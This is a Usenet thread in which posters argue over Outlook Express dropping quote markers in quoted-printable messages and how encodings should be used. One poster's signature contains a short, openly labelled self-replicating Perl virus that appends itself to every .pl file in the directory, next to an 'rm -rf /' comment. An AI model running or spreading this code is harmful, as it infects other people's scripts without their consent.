[OT] To Disaster and the other OE (l)users
Rudolf Polzer
script to only encode using quoted-printable when there are 8bit
characters in the posting.
Especially Disaster produced some really bad examples of how not to
quote (the > characters were missing - an OE bug).
If anybody uses the leafnode news server and wants to have my
leafnode-filter patch which allows to filter postings through
arbitrary programs (both incoming and outgoing), just ask.
Fup2p because this is 99% OT here and does not need any answers in this
newsgroup.
--
#!/usr/bin/perl -- WARNING: Be careful. This is a virus!!! # rm -rf /
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################
Disaster
> Now you should be able to answer properly to me again - I wrote a Perl
> script to only encode using quoted-printable when there are 8bit
> characters in the posting.
>
> Especially Disaster produced some really bad examples of how not to
> quote (the > characters were missing - an OE bug).
>
> If anybody uses the leafnode news server and wants to have my
> leafnode-filter patch which allows to filter postings through
> arbitrary programs (both incoming and outgoing), just ask.
>
> Fup2p because this is 99% OT here and does not need any answers in this
> newsgroup.
........What are you talking about? It works fine!
--
Kind regards
Disaster
Disaster's Fan Fiction - http://www.disfanfic.net
JAE FAQ - http://www.evafaq.com
Pen^3's JAE FAQ - http://faq.pen3.cjb.net
Rudolf Polzer
> "Rudolf Polzer" <AntiATFiel...@durchnull.de> wrote:
> > Now you should be able to answer properly to me again - I wrote a Perl
> > script to only encode using quoted-printable when there are 8bit
> > characters in the posting.
> >
> > Especially Disaster produced some really bad examples of how not to
> > quote (the > characters were missing - an OE bug).
> >
> > If anybody uses the leafnode news server and wants to have my
> > leafnode-filter patch which allows to filter postings through
> > arbitrary programs (both incoming and outgoing), just ask.
> >
> > Fup2p because this is 99% OT here and does not need any answers in this
> > newsgroup.
>
> ........What are you talking about? It works fine!
You don't believe it?
Try replying to this article (but do not send the reply) - you will see
that the > characters are missing. I just put some umlauts in so that
leafnode-filter uses quoted-printable: ÄÖÜäöüß. Otherwise a simple
non-encoded posting would have been generated.
See these examples from you:
http://groups.google.com/groups?selm=uh4hvst7a9nj16%40corp.supernews.com&output=gplain
http://groups.google.com/groups?selm=uh0kf9q4b6s52e%40corp.supernews.com&output=gplain
I enabled this encoding ca. one week ago because it's better than
blasting 8bit characters into the usenet (and because my
leafnode-filter had to be tested) and now inserted a check whether 8bit
characters have been used.
Zlmndra
For the record, I'm also using OE.
Z
"Rudolf Polzer" <AntiATFiel...@durchnull.de> wrote in message
news:slrnahlrnc.8a6.Ant...@www42.durchnull.de...
Scripsit illa aut ille Disaster <disa...@disfanfic.net>:
> "Rudolf Polzer" <AntiATFiel...@durchnull.de> wrote:
> > Now you should be able to answer properly to me again - I wrote a Perl
> > script to only encode using quoted-printable when there are 8bit
> > characters in the posting.
> >
> > Especially Disaster produced some really bad examples of how not to
> > quote (the > characters were missing - an OE bug).
> >
> > If anybody uses the leafnode news server and wants to have my
> > leafnode-filter patch which allows to filter postings through
> > arbitrary programs (both incoming and outgoing), just ask.
> >
> > Fup2p because this is 99% OT here and does not need any answers in this
> > newsgroup.
>
> ........What are you talking about? It works fine!
You don't believe it?
Try replying to this article (but do not send the reply) - you will see
that the > characters are missing. I just put some umlauts in so that
leafnode-filter uses quoted-printable: ДЦЬдцьЯ. Otherwise a simple
Disaster
"Disaster" <disa...@disfanfic.net>:
> "Rudolf Polzer" <AntiATFiel...@durchnull.de> wrote:
> > Now you should be able to answer properly to me again - I wrote a Perl
> > script to only encode using quoted-printable when there are 8bit
> > characters in the posting.
> >
> > Especially Disaster produced some really bad examples of how not to
> > quote (the > characters were missing - an OE bug).
> >
> > If anybody uses the leafnode news server and wants to have my
> > leafnode-filter patch which allows to filter postings through
> > arbitrary programs (both incoming and outgoing), just ask.
> >
> > Fup2p because this is 99% OT here and does not need any answers in
this
> > newsgroup.
>
> ........What are you talking about? It works fine!
You don't believe it?
Try replying to this article (but do not send the reply) - you will see
that the > characters are missing. I just put some umlauts in so that
leafnode-filter uses quoted-printable: ДЦЬдцьЯ. Otherwise a simple
non-encoded posting would have been generated.
See these examples from you:
http://groups.google.com/groups?selm=uh4hvst7a9nj16%40corp.supernews.com&o
utput=gplain
http://groups.google.com/groups?selm=uh0kf9q4b6s52e%40corp.supernews.com&o
Disaster
> I see the ">" is Disaster's messages all the time.
>
> For the record, I'm also using OE.
>
> Z
The only time that I ever miss the ">" in my replies is when I reply to
html documents. I think something else is screwy here.
Rudolf Polzer
> > I see the ">" is Disaster's messages all the time.
> >
> > For the record, I'm also using OE.
>
> html documents.
Simple: HTML documents are *also* encoded using quoted-printable. Just
look at the source, if you see things like "=3D", it's quoted-printable.
It is also possible (even encouraged by the RFCs) to encode plaintext
documents using quoted-printable if they contain 8bit characters.
--
#!/usr/bin/perl -- Forget the express prospect!#Which was the original text?
use LWP'Simple;use URI'Escape;print"e> ";<STDIN>=~/(.*)/;for(en_de=>'de_en')
{get("http://babelfish.altavista.com/tr?doit=done&tt=urltext&lp=$_&urltext="
.uri_escape$1)=~/(?:d bgcolor=white|q")>(.*?)</s;print"$1 - (c)babelfish\n"}
Disaster
> > >
> > > For the record, I'm also using OE.
> >
> > The only time that I ever miss the ">" in my replies is when I reply
to
> > html documents.
>
> Simple: HTML documents are *also* encoded using quoted-printable. Just
> look at the source, if you see things like "=3D", it's quoted-printable.
> It is also possible (even encouraged by the RFCs) to encode plaintext
> documents using quoted-printable if they contain 8bit characters.
So what that tells me is that you are supporting a movement to make
plaintext as evil as HTML?
Rudolf Polzer
> > > >
> > > > For the record, I'm also using OE.
> > >
> > > The only time that I ever miss the ">" in my replies is when I reply to
> > > html documents.
> >
> > Simple: HTML documents are *also* encoded using quoted-printable. Just
> > look at the source, if you see things like "=3D", it's quoted-printable.
> > It is also possible (even encouraged by the RFCs) to encode plaintext
> > documents using quoted-printable if they contain 8bit characters.
>
> So what that tells me is that you are supporting a movement to make
> plaintext as evil as HTML?
No. HTML is not evil because of quoted printable.
The problem is: RFCs recommend to always encode 8bit characters in some
way since not every server can transport them. Possible encodings are
quoted-printable and base64. The latter is not good because it is not
human-readable, so if the character set is an overset of us-ascii,
quoted-printable is the best.
So it's - according to many documents - better to post in
quoted-printable than in 8bit. But as long as there are no characters
that need the encoding, 7bit is the best choice - currently my header
states 8bit, but the 8th bit is not used (which is normal in English).
BTW: I do not know why OE sends HTML messages in quoted printable. There
is no reason to do this - HTML itself contains an encoding for 8bit
characters, so where's the point to encode HTML with quoted-printable?
Just because '=3D' has two characters more than '='?
Disaster
> Scripsit illa aut ille Disaster <disa...@disfanfic.net>:
> > plaintext as evil as HTML?
>
> No. HTML is not evil because of quoted printable.
>
> The problem is: RFCs recommend to always encode 8bit characters in some
> way since not every server can transport them. Possible encodings are
> quoted-printable and base64. The latter is not good because it is not
> human-readable, so if the character set is an overset of us-ascii,
> quoted-printable is the best.
>
> So it's - according to many documents - better to post in
> quoted-printable than in 8bit. But as long as there are no characters
> that need the encoding, 7bit is the best choice - currently my header
> states 8bit, but the 8th bit is not used (which is normal in English).
>
> BTW: I do not know why OE sends HTML messages in quoted printable. There
> is no reason to do this - HTML itself contains an encoding for 8bit
> characters, so where's the point to encode HTML with quoted-printable?
> Just because '=3D' has two characters more than '='?
Okay most of that means nothing to me. I got email and news posts, I
either send them as text or html. Html sucks, text is good. This is the
level that I work on. I don't give a crap how it gets encoded and handled
otherwise. All I know is that when I get an html doc it's a pain in the
ass to reply to it. However when I deal in good old plain text everything
works fine with everyone. Except that you seem to complain about it.
Rudolf Polzer
> "Rudolf Polzer" <AntiATFiel...@durchnull.de> wrote:
> > Scripsit illa aut ille Disaster <disa...@disfanfic.net>:
> > > So what that tells me is that you are supporting a movement to make
> > > plaintext as evil as HTML?
> >
> > No. HTML is not evil because of quoted printable.
> Okay most of that means nothing to me. I got email and news posts, I
> either send them as text or html. Html sucks, text is good. This is the
> level that I work on. I don't give a crap how it gets encoded and handled
> otherwise. All I know is that when I get an html doc it's a pain in the
> ass to reply to it. However when I deal in good old plain text everything
> works fine with everyone. Except that you seem to complain about it.
You did not understand one thing:
*Your* software has bugs, so you cannot blame them on the ones you reply
to. Instead, blame them on Microsoft.
FYI:
http://www.xs4all.nl/~js/gnksa/Evaluations/ms-outlook-express-5.50.4522.1200-de.txt
Out of the feature list of a tool named "OE-QuoteFix":
* Quoting of Quoted-Printable encoded messages is finally possible
That shows that OE is unable to do that. Maybe OE-QuoteFix can help you
- its homepage says it's easy to install:
http://home.in.tum.de/~jain/software/quotefix.php